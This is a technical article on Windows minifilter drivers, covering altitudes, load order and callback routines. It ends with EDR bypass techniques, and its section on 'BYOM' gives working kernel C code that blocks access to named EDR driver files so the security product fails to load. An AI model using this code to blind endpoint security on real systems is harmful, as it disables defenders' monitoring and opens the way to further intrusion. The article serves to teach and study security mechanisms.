<index> / <windows-internals> / minifilters
[ en | fr ]
┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Windows Minifilters
~ bonziski
Written by bonziski — https://github.com/Yannis-Zribi

CONTENTS
  0  the need — monitoring file system access
  1  legacy filters — the old way
  2  minifilters — the modern architecture
  3  altitude and load order
  4  pre-operation and post-operation routines
  5  bypass — altitude sickness
  6  bypass — byom and edr file blacklisting
  7  minifilter skeleton (code)
  8  limitations

──[ 0. The Need — Monitoring File System Access ]──

File system access (create, read, write, delete) is one of the richest sources 
of telemetry for security products. Ransomware shows up in write patterns; data
exfil shows up in read patterns; persistence mechanisms touch specific
registry-adjacent files. A few approaches exist to monitor I/O:
    Windows event logs (EVTX)   — high latency, lossy, can't block
    Hooking I/O functions        — fragile, breaks under any patching
    File system filter drivers   — the right, supported way

──[ 1. Legacy Filters — The Old Way ]──

First generation of file system monitors: Legacy Filters. They attached straight 
to the I/O Request Packet (IRP) chain, slotting themselves between the I/O
Manager and the file system driver.
flowchart TD
    App["Application (User Mode)"]
    IM["I/O Manager"]
    FA["Legacy Filter A"]
    FB["Legacy Filter B"]
    FS["File System Driver"]

    App -->|"file request"| IM
    IM -->|"IRP"| FA
    FA -->|"pass / modify / block"| FB
    FB --> FS
Legacy filter architecture
Problems with legacy filters:
    - Filters fight for position in the chain (who goes first?)
    - Each filter has to forward the IRP to the next — bugs cause
      deadlocks, missed completions, double-completions
    - No central authority; Microsoft can't audit or police the chain

──[ 2. Minifilters — The Modern Architecture ]──

Microsoft replaced legacy filters with the minifilter model and added a central 
manager: the Filter Manager.
flowchart TD
    App["Application (User Mode)"]
    IM["I/O Manager"]
    FM["Filter Manager (fltmgr.sys)"]
    MFA["Minifilter A (high altitude)"]
    MFB["Minifilter B (low altitude)"]
    FS["File System Driver"]

    App -->|"file request"| IM
    IM -->|"IRP"| FM
    FM --> MFA
    FM --> MFB
    FM --> FS
Minifilter architecture — Filter Manager model
The Filter Manager:
    - Takes all IRPs and dispatches them to registered minifilters
    - Enforces ordering via altitude values
    - Owns the minifilter lifecycle (load / unload)
    - Provides helper APIs (FltGetFileNameInformation, etc.)

Minifilters only implement callbacks for the operations they care about. The 
Filter Manager handles the routing.
──[ 3. Altitude and Load Order ]──

Each minifilter has a static altitude (a decimal number). Higher altitude = 
called earlier on the way down, later on the way up.
    Altitude ranges define driver categories:

        420000–429999   FSFilter Activity Monitor
        400000–409999   FSFilter Undelete
        320000–329999   FSFilter Anti-Virus
        260000–269999   FSFilter Replication
        ...
Driver start types table
Load order groups — altitude ranges reference
The Filter Manager guarantees:
    - Two minifilters can't share an altitude
    - Altitude defines both load order and call order

Inspect currently loaded minifilters:
    fltmc
fltmc output — MyMiniFilter at altitude 385200
──[ 4. Pre-Op and Post-Op Routines ]──

Each minifilter registers two optional callbacks per operation type:
    Pre-operation (PreXxx)
        Called before the IRP reaches the file system driver.
        Can inspect, modify, redirect, or block the request.
        Return values:
            FLT_PREOP_SUCCESS_WITH_CALLBACK    — pass on, call post-op later
            FLT_PREOP_SUCCESS_NO_CALLBACK      — pass on, skip post-op
            FLT_PREOP_COMPLETE                 — complete the IRP now

    Post-operation (PostXxx)
        Called after the file system driver has processed the IRP.
        Can inspect or modify the result.
        Called in reverse altitude order (lowest first on the way back).
sequenceDiagram
    participant FM as Filter Manager
    participant A as Minifilter A (alt 400000)
    participant B as Minifilter B (alt 300000)
    participant FS as File System

    FM->>A: Pre-op (down path)
    A-->>FM: continue
    FM->>B: Pre-op
    B-->>FM: continue
    FM->>FS: IRP
    FS-->>FM: result
    FM->>B: Post-op (up path, lowest first)
    FM->>A: Post-op
Pre/post-op call order by altitude
──[ 5. Bypass — Altitude Sickness ]──

Only one minifilter can hold a given altitude. If your minifilter loads first at 
the same altitude as the EDR's minifilter, the EDR's fails to load. In practice, very hard:
    1. You have to know the EDR's exact altitude, which might be dynamic
       — some EDRs use a fixed integer part (for the load-order group)
       but compute the decimal at boot, so prediction is impossible.

    2. EDRs like Windows Defender monitor FltRegisterFilter calls and
       actively block registrations at their own altitude (WdFilter).

    3. Even if you succeed, the EDR will likely catch the failed load
       and raise an alert.

The technique exists and has been shown in controlled environments, rarely 
practical in the real world.
Registry key — SysmonDrv altitude modified to match target
fltmc after reboot — conflicting minifilter evicted
──[ 6. Bypass — BYOM and EDR File Blacklisting ]──

More actionable: register your own minifilter at a higher altitude than the 
EDR's, intercept IRP_MJ_CREATE, and deny access to the EDR's .sys file (and any
other file it needs to load from disk). If the minifilter driver file can't be opened, it can't be loaded.
MyMiniFilter blocking file access — before BYOM bypass
Pre-create callback skeleton:
        FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
            _Inout_ PFLT_CALLBACK_DATA Data,
            _In_ PCFLT_RELATED_OBJECTS FltObjects,
            _Outptr_ PVOID *CompletionContext)
        {
            // Only handle IRP_MJ_CREATE
            if (Data->Iopb->MajorFunction != IRP_MJ_CREATE)
                return FLT_PREOP_SUCCESS_NO_CALLBACK;

            // Retrieve the target file name
            PFLT_FILE_NAME_INFORMATION info;
            if (!NT_SUCCESS(FltGetFileNameInformation(
                    Data,
                    FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT,
                    &info)))
                return FLT_PREOP_SUCCESS_NO_CALLBACK;

            // Compare against blacklist
            for (ULONG i = 0; i < BLOCKED_COUNT; i++) {
                if (RtlSuffixUnicodeString(&BlockedFiles[i],
                                           &info->Name, TRUE)) {
                    Data->IoStatus.Status = STATUS_ACCESS_DENIED;
                    FltReleaseFileNameInformation(info);
                    return FLT_PREOP_COMPLETE;   // block the open
                }
            }

            FltReleaseFileNameInformation(info);
            return FLT_PREOP_SUCCESS_NO_CALLBACK;
        }
Blacklist definition:
        UNICODE_STRING BlockedFiles[] = {
            RTL_CONSTANT_STRING(L"edr_minifilter.sys"),
            RTL_CONSTANT_STRING(L"edr_core.sys"),
        };
        #define BLOCKED_COUNT (sizeof(BlockedFiles) / sizeof(UNICODE_STRING))
After loading this minifilter via a .inf file and rebooting, the EDR's driver 
files can't be opened, so the EDR can't load.
fltmc after BYOM — EDR minifilter replaced
──[ 7. Minifilter Skeleton (Code) ]──

Minimal compilable minifilter:
    #include <fltKernel.h>

    PFLT_FILTER gFilterHandle;

    FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
        _Inout_ PFLT_CALLBACK_DATA Data,
        _In_ PCFLT_RELATED_OBJECTS FltObjects,
        _Outptr_result_maybenull_ PVOID *CompletionContext)
    {
        UNREFERENCED_PARAMETER(FltObjects);
        UNREFERENCED_PARAMETER(CompletionContext);
        // ... custom logic here
        return FLT_PREOP_SUCCESS_NO_CALLBACK;
    }

    CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
        { IRP_MJ_CREATE, 0, PreCreateCallback, NULL },
        { IRP_MJ_OPERATION_END }
    };

    NTSTATUS FilterUnload(_In_ FLT_FILTER_UNLOAD_FLAGS Flags) {
        UNREFERENCED_PARAMETER(Flags);
        FltUnregisterFilter(gFilterHandle);
        return STATUS_SUCCESS;
    }

    CONST FLT_REGISTRATION FilterReg = {
        sizeof(FLT_REGISTRATION), FLT_REGISTRATION_VERSION,
        0, NULL, Callbacks, FilterUnload,
        NULL, NULL, NULL, NULL, NULL, NULL, NULL
    };

    NTSTATUS DriverEntry(
        _In_ PDRIVER_OBJECT DriverObject,
        _In_ PUNICODE_STRING RegistryPath)
    {
        UNREFERENCED_PARAMETER(RegistryPath);

        NTSTATUS s = FltRegisterFilter(DriverObject, &FilterReg,
                                       &gFilterHandle);
        if (!NT_SUCCESS(s)) return s;
        return FltStartFiltering(gFilterHandle);
    }
Manual uninstall:
    fltmc unload <FilterName>
    sc delete <FilterName>
    del C:\Windows\System32\drivers\<FilterName>.sys
──[ 8. Limitations ]──

Every minifilter-based bypass shares the same constraints:
    - Admin required — listing, creating, modifying minifilters all need
      local admin or SYSTEM. These attacks only matter once you're
      already deeply in.

    - EDRs watch minifilter registration — registering a new minifilter
      or modifying altitude values is itself a high-confidence detection
      signal that many EDRs alert and block on.

    - Not all EDRs use minifilters — some use other file-interception
      mechanisms. Still worth knowing minifilters to understand what
      coverage a given EDR has over file system operations.
Minifilter reference diagram